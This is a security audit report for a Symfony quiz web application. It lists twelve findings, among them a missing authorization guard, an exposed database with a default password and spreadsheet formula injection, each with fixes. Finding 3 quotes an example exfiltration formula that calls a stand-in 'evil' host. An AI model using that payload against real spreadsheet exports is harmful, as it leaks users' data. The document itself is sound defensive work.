TijdVoorDeTest/SECURITY_AUDIT.md

Security Audit — Tijd voor de test

Date: 2026-07-12 Branch: declare-ext-intl-ext-zip Scope: Full codebase — authentication/authorization, injection & output encoding, config/secrets/infrastructure, quiz business-logic abuse, and dependency audits. Read-only scan; no files were modified.

Summary

#	Severity	Finding	Location
1	High	PrepareEliminationController has no authorization guard Fixed 2026-07-13	src/Controller/Backoffice/PrepareEliminationController.php:21-65
2	High	Production PostgreSQL published to host + default-password fallback	compose.prod.yaml:27-28, compose.yaml:11,30
3	Medium	Spreadsheet formula injection in exports Fixed 2026-07-13	src/Service/QuizSpreadsheetService.php, src/Service/DataExportService.php
4	Medium	No login throttling / brute-force protection	config/packages/security.yaml:17-29
5	Medium	Open self-registration grants immediate backoffice access	src/Controller/RegistrationController.php:40-56
6	Low	Double-submit race can inflate score	src/Controller/QuizController.php:120-128
7	Low	Answer-POST path never checks isFinalized/isLocked	src/Controller/QuizController.php:102-131
8	Low	Server-side formula evaluation of uploaded XLSX	src/Service/QuizSpreadsheetService.php:68
9	Low	Containers run as root	Dockerfile
10	Low	No security response headers in prod	frankenphp/Caddyfile:45
11	Low	Committed APP_SECRET (dev-only)	.env.dev:3
12	Low	zend.exception_ignore_args = Off in prod	frankenphp/conf.d/10-app.ini:15

Dependencies are clean: composer audit and bin/console importmap:audit both report zero known-CVE advisories.

---

High

1. PrepareEliminationController has no authorization guard — FIXED

File: src/Controller/Backoffice/PrepareEliminationController.php:21-65

The class carried no #[IsGranted] at class or method level — unlike every sibling controller, and unlike EliminationController which guards with SeasonVoter::ELIMINATION. Both routes were gated only by the blanket ^/backoffice → IS_AUTHENTICATED rule.

• viewElimination (line 46) both reads and, on POST, rewrites any elimination via updateFromInputBag() + flush().
• index (line 32) never checked that $quiz belonged to $season.

Failure scenario: Any authenticated user who obtained or guessed another season's quiz/elimination UUID could rewrite that season's red/green elimination screens.

Fix applied: Added #[IsGranted(SeasonVoter::ELIMINATION, 'quiz')] to index and #[IsGranted(SeasonVoter::ELIMINATION, 'elimination')] to viewElimination, matching the pattern used everywhere else. Regression tests testIndexIsDeniedForNonOwner and testViewEliminationIsDeniedForNonOwner were added to tests/Controller/Backoffice/PrepareEliminationControllerTest.php (written first, confirmed failing against the old code, now passing). Full suite (290 tests), PHPStan, Rector, and CS-Fixer all pass.

2. Production PostgreSQL published to host with default-password fallback

Files: compose.prod.yaml:27-28, compose.yaml:11,30

• compose.prod.yaml:27-28 publishes 5430:5432 in the production override; the DB should stay on the internal network only.
• compose.yaml:11,30 default POSTGRES_PASSWORD to !ChangeMe!, and compose.prod.yaml never sets it — so if the Portainer stack env omits it, prod silently runs with a publicly-known password.

Failure scenario: Internet-reachable database with a known default credential → full read/write of user hashes, quiz data, reset-password tokens.

Fix: Drop the port publish from the prod override; make POSTGRES_PASSWORD mandatory with no fallback in prod.

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Medium

3. Spreadsheet formula injection in exports — FIXED

Files: src/Service/QuizSpreadsheetService.php:132,136; src/Service/DataExportService.php:208,237,249-265,328,393-403

All user-controlled strings were written to XLSX via setCellValue()/fromArray() with no quote-prefixing or value-binder override. PhpSpreadsheet stores any string starting with = as a live formula.

Failure scenario: Seasons support multiple owners, so a co-owner could name an answer/candidate =WEBSERVICE("http://evil/?"&A1); when another owner opened the quiz export or GDPR zip in Excel, the formula would execute/exfiltrate.

Fix applied: Added src/Helpers/FormulaInjectionSafeValueBinder.php, a DefaultValueBinder override that forces any string starting with = + - @ (or a leading tab/CR) to be stored as a plain string data type instead of being auto-detected as a formula. Wired it in via Cell::setValueBinder() in the constructors of QuizSpreadsheetService and DataExportService, so it's active before any cell is written. Regression tests added: tests/Helpers/FormulaInjectionSafeValueBinderTest.php (unit-level), plus testQuizToXlsxStoresFormulaLikeAnswerTextAsPlainString and testRawAnswersSheetStoresFormulaLikeAnswerTextAsPlainString (written first, confirmed failing against the old code, now passing).

4. No login throttling / brute-force protection

File: config/packages/security.yaml:17-29

form_login has no login_throttling and no rate limiter is configured anywhere. /login allows unlimited password guessing; the public POST / season-code entry (QuizController.php:35) is likewise an unthrottled oracle for enumerating the ~3.2M-space season codes (5 chars, 20-consonant alphabet).

Fix: Add login_throttling and a rate limiter on the public season entry.

5. Open self-registration grants immediate backoffice access

Files: src/Controller/RegistrationController.php:40-56, config/packages/security.yaml:31

Registration auto-logs-in a new user before email verification, and ^/backoffice requires only IS_AUTHENTICATED. Any anonymous visitor gets an authenticated foothold to probe every backoffice route — the precondition that makes finding 1 practically exploitable.

Fix / decision needed: Confirm whether open registration into the backoffice is intended. If so, gate sensitive areas behind verified email and add a CAPTCHA/rate limit to registration.

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Low

• 6. Double-submit race can inflate score (src/Controller/QuizController.php:120-128): no unique constraint on GivenAnswer and a TOCTOU between the "is this the next question" check and the insert. Concurrent POSTs of the known-correct answer each insert a row, each counted correct. Add a unique index on (quizCandidate, question).
• 7. Answer-POST path never checks isFinalized/isLocked (src/Controller/QuizController.php:102-131): a finalized quiz still set as activeQuiz stays answerable. The POST path also doesn't assert a QuizCandidate exists (only GET does) — currently not exploitable but worth hardening.
• 8. Server-side formula evaluation of uploaded XLSX (src/Service/QuizSpreadsheetService.php:68): toArray() leaves calculateFormulas at default true, allowing CPU-burn via nested formulas on import. Pass calculateFormulas: false.
• 9. Containers run as root (Dockerfile, no USER directive): any PHP RCE is immediately root in-container.
• 10. No security response headers in prod (frankenphp/Caddyfile:45): no CSP/frame-ancestors, X-Content-Type-Options, or HSTS — backoffice is clickjackable.
• 11. Committed APP_SECRET (.env.dev:3, dev-only): prod uses composer dump-env prod with an env-provided secret, so scope is limited to any environment misconfigured to APP_ENV=dev. Consider rotating regardless since the value is now public.
• 12. zend.exception_ignore_args = Off (frankenphp/conf.d/10-app.ini:15, prod): a stack trace in a password-handling path could ship plaintext to Sentry.

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Confirmed clean

No SQL/DQL injection (all queries parameterized), essentially no XSS surface (one |raw on an app-generated signed URL; GitHub release markdown is escaped), no unserialize/eval/shell-exec anywhere, safe redirects (open-redirect listener validates the logout target), no correct-answer or score leakage to candidates, server-set timing (no client-forgeable timestamps), zip creation with sanitized filenames (no zip-slip/path traversal), and a clean CI workflow (least-privilege permissions, SHA-pinned actions, no pull_request_target).